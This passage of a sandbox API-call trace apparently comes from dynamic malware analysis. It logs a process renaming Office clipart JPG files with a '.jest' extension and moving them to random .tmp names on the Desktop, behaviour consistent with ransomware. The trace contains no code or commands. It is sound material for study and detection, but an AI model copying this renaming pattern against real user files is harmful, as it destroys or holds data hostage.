office\\clipart\\pub60cor\\j0309705.jpg.jest")) returned 1 [0169.506] VarBstrFromR4 (in: fltIn=0x47945989, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.07") returned 0x0 [0169.506] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wb6iFOTEQIw_B8fHmAnG7HPPl8K28E7 RfhU1rt6HEJ1fiDfduyVp4GsYO3R4R9uc3eEl7IN9TLMo8-hobOgKST6vTs72QX uM8T.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wb6ifoteqiw_b8fhmang7hppl8k28e7 rfhu1rt6hej1fidfduyvp4gsyo3r4r9uc3eel7in9tlmo8-hobogkst6vts72qx um8t.tmp")) returned 0 [0169.507] GetLastError () returned 0x2 [0169.507] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.508] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.jest")) returned 1 [0169.510] VarBstrFromR4 (in: fltIn=0x47945989, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.07") returned 0x0 [0169.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qSxJ3LdtTYFw jgUbuO6RU6Om4rPi0sEHfMGW24bkRxZTFzLYs4AwAZUE dYtEk vzNWZ1iB55XJ1lvY9PDsN2Je--6SMTRILYCJ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qsxj3ldttyfw jgubuo6ru6om4rpi0sehfmgw24bkrxztfzlys4awazue dytek vznwz1ib55xj1lvy9pdsn2je--6smtrilycj.tmp")) returned 0 [0169.511] GetLastError () returned 0x2 [0169.512] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.513] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.jest")) returned 1 [0169.515] VarBstrFromR4 (in: fltIn=0x47945989, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.07") returned 0x0 [0169.516] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ji-d4nU8vc9DcSn_hu8eXMK7_wp kZzfp5EgvKHFvwOGMpihA5P nrQh0odTp--JxvJURAd9CmKXsEfDO0xZ5k-T0olYdTMxXXbIi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ji-d4nu8vc9dcsn_hu8exmk7_wp kzzfp5egvkhfvwogmpiha5p nrqh0odtp--jxvjurad9cmkxsefdo0xz5k-t0olydtmxxxbii.tmp")) returned 0 [0169.516] GetLastError () returned 0x2 [0169.516] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.517] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.jest")) returned 1 [0169.520] VarBstrFromR4 (in: fltIn=0x4794598b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.09") returned 0x0 [0169.520] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qlke2p7bRWb2IImqZyM68xz_aBxqfM516- FBZ8FW5kgp3me3xlwI6 ozGZ8h5YkJvp6ceQqwGAnPcmiI0ILbKcJeoV_C5XQb9pd4.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qlke2p7brwb2iimqzym68xz_abxqfm516- fbz8fw5kgp3me3xlwi6 ozgz8h5ykjvp6ceqqwganpcmii0ilbkcjeov_c5xqb9pd4.tmp")) returned 0 [0169.520] GetLastError () returned 0x2 [0169.521] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.jest")) returned 1 [0169.525] VarBstrFromR4 (in: fltIn=0x4794598b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.09") returned 0x0 [0169.526] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PHIb ALQ4dUB Emuagi0tTmznCPeyGzjEWHBLLUidHmwyqXfm -FXO2QXIU SN54MYEjDWHHerz0tOxqWWBOx_h v6u7KYLfty4vZ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\phib alq4dub emuagi0ttmzncpeygzjewhblluidhmwyqxfm -fxo2qxiu sn54myejdwhherz0toxqwwbox_h v6u7kylfty4vz.tmp")) returned 0 [0169.526] GetLastError () returned 0x2 [0169.526] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.528] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg.jest")) returned 1 [0169.530] VarBstrFromR4 (in: fltIn=0x4794598b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.09") returned 0x0 [0169.531] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341551.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341551.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Nn97EvLbsjjGpV heDnPi_vF26V7ql5pI2V9pluDGdoJgrLOD_NV-0OuNDYa8ljGbgD_rejAPlyAf57JP9b8ik4d-VSUQJxgwoul.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\nn97evlbsjjgpv hednpi_vf26v7ql5pi2v9pludgdojgrlod_nv-0oundya8ljgbgd_rejaplyaf57jp9b8ik4d-vsuqjxgwoul.tmp")) returned 0 [0169.531] GetLastError () returned 0x2 [0169.532] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.534] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg.jest")) returned 1 [0169.576] VarBstrFromR4 (in: fltIn=0x47945991, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.13") returned 0x0 [0169.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341559.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341559.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Cbc9EmGZBjEzOD1PWqNx94zqDEmLJDuo7Y3U9fvLluj4FryfXPYiASqmOEQR3pIXh_Vz2ftLr gxYhIV_FxLOLbD0l8okt9XRy7x.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cbc9emgzbjezod1pwqnx94zqdemljduo7y3u9fvlluj4fryfxpyiasqmoeqr3pixh_vz2ftlr gxyhiv_fxlolbd0l8okt9xry7x.tmp")) returned 0 [0169.616] GetLastError () returned 0x2 [0169.617] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.647] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.jest")) returned 1 [0169.649] VarBstrFromR4 (in: fltIn=0x4794599b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.21") returned 0x0 [0169.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qu_zDLKSuh4J2fUXiFqUbCEjN9hPLEH9qUigjAGwc9fVY_VgWJ29pzB3hUUjJA hwRMFTeownciljTtTh1XJZ2EqGUPFGzYZOTr.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qu_zdlksuh4j2fuxifqubcejn9hpleh9quigjagwc9fvy_vgwj29pzb3huujja hwrmfteownciljttth1xjz2eqgupfgzyzotr.tmp")) returned 0 [0169.688] GetLastError () returned 0x2 [0169.688] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.jest")) returned 1 [0169.693] VarBstrFromR4 (in: fltIn=0x479459a1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.26") returned 0x0 [0169.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ZNdwrNYBXsPk6wfgVL49fRwwVDzFOda_pY2zj2t5sW-BYx2xBPgo5Lm9EOc2uCVOeNvpP2w7LiDuo8aLb-qEod7FTlAUi9bK htG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zndwrnybxspk6wfgvl49frwwvdzfoda_py2zj2t5sw-byx2xbpgo5lm9eoc2ucvoenvpp2w7liduo8alb-qeod7ftlaui9bk htg.tmp")) returned 0 [0169.706] GetLastError () returned 0x2 [0169.707] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.712] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg.jest")) returned 1 [0169.715] VarBstrFromR4 (in: fltIn=0x479459a3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.27") returned 0x0 [0169.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FjpzoAmSqQ396Q4bSoR0hOxSIp3c4vQt0h7KobCk545ueIISoE-PybusedpuqeHK_v6C n8By shRlcx5KbYMneiIhy2G2Raxvkyp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fjpzoamsqq396q4bsor0hoxsip3c4vqt0h7kobck545ueiisoe-pybusedpuqehk_v6c n8by shrlcx5kbymneiihy2g2raxvkyp.tmp")) returned 0 [0169.735] GetLastError () returned 0x2 [0169.735] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg.jest")) returned 1 [0169.742] VarBstrFromR4 (in: fltIn=0x479459a7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.3") returned 0x0 [0169.747] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341738.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341738.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\EvEU0gMylIJam9U1uQkzEUFQ B1lqpfAQNxyWqepL BiuN2f9waJzvuA9IeRWH4FnfqMQYKu bFXUBRq40Q MfO1cc BRlv9_VkU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\eveu0gmylijam9u1uqkzeufq b1lqpfaqnxywqepl biun2f9wajzvua9ierwh4fnfqmqyku bfxubrq40q mfo1cc brlv9_vku.tmp")) returned 0 [0169.748] GetLastError () returned 0x2 [0169.748] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.757] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.jest")) returned 1 [0169.760] VarBstrFromR4 (in: fltIn=0x479459a9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.32") returned 0x0 [0169.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qLKmwVWbdWomt8y2MyQ42vRnluGqhqVKZ8Gq xTTgwcjC2Ob3_dnaP_b6f BALV1BRbhWJHRtTE52fCDamp0Te_M PanCPX9-vZeL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qlkmwvwbdwomt8y2myq42vrnlugqhqvkz8gq xttgwcjc2ob3_dnap_b6f balv1brbhwjhrtte52fcdamp0te_m pancpx9-vzel.tmp")) returned 0 [0169.762] GetLastError () returned 0x2 [0169.763] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.948] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.jest")) returned 1 [0169.951] VarBstrFromR4 (in: fltIn=0x479459c1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.51") returned 0x0 [0169.960] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dBf_tow3tgj03Rwqt-gaM7MSGedagEuuquepZhhImfaOe2HpkMYC135x-jOzP-OgzWWNwSVaYJOI8nKlJkoKTCIfiBY qlzUMmuA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dbf_tow3tgj03rwqt-gam7msgedageuuquepzhhimfaoe2hpkmyc135x-jozp-ogzwwnwsvayjoi8nkljkoktcifiby qlzummua.tmp")) returned 0 [0169.960] GetLastError () returned 0x2 [0169.960] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.961] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg.jest")) returned 1 [0169.963] VarBstrFromR4 (in: fltIn=0x479459c3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.52") returned 0x0 [0169.964] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\fk_iXT5rJFaW_1j2nl9gvfTLfFqK0t_a _G212BZlk0MIy-T8GyMphAHWmWmO61HoASSXiKebuVr6QB4tDb4HCntv-NqWYcxo66.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fk_ixt5rjfaw_1j2nl9gvftlffqk0t_a _g212bzlk0miy-t8gymphahwmwmo61hoassxikebuvr6qb4tdb4hcntv-nqwycxo66.tmp")) returned 0 [0169.964] GetLastError () returned 0x2 [0169.965] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.970] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg.jest")) returned 1 [0169.973] VarBstrFromR4 (in: fltIn=0x479459c5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.54") returned 0x0 [0169.974] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382930.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382930.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gPJ3JiQHgng6ijDzuer-UlaeRqcyi0SpbiBnXt2Jxl25bOOsYkj3KB8ebRc_YI467XG86hkAEJuKYcpP6DBwbjzxWCuOkklgKJPEi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gpj3jiqhgng6ijdzuer-ulaerqcyi0spbibnxt2jxl25boosykj3kb8ebrc_yi467xg86hkaejukycpp6dbwbjzxwcuokklgkjpei.tmp")) returned 0 [0169.974] GetLastError () returned 0x2 [0169.975] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0169.988] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382938.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382938.jpg.jest")) returned 1 [0169.991] VarBstrFromR4 (in: fltIn=0x479459c7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: 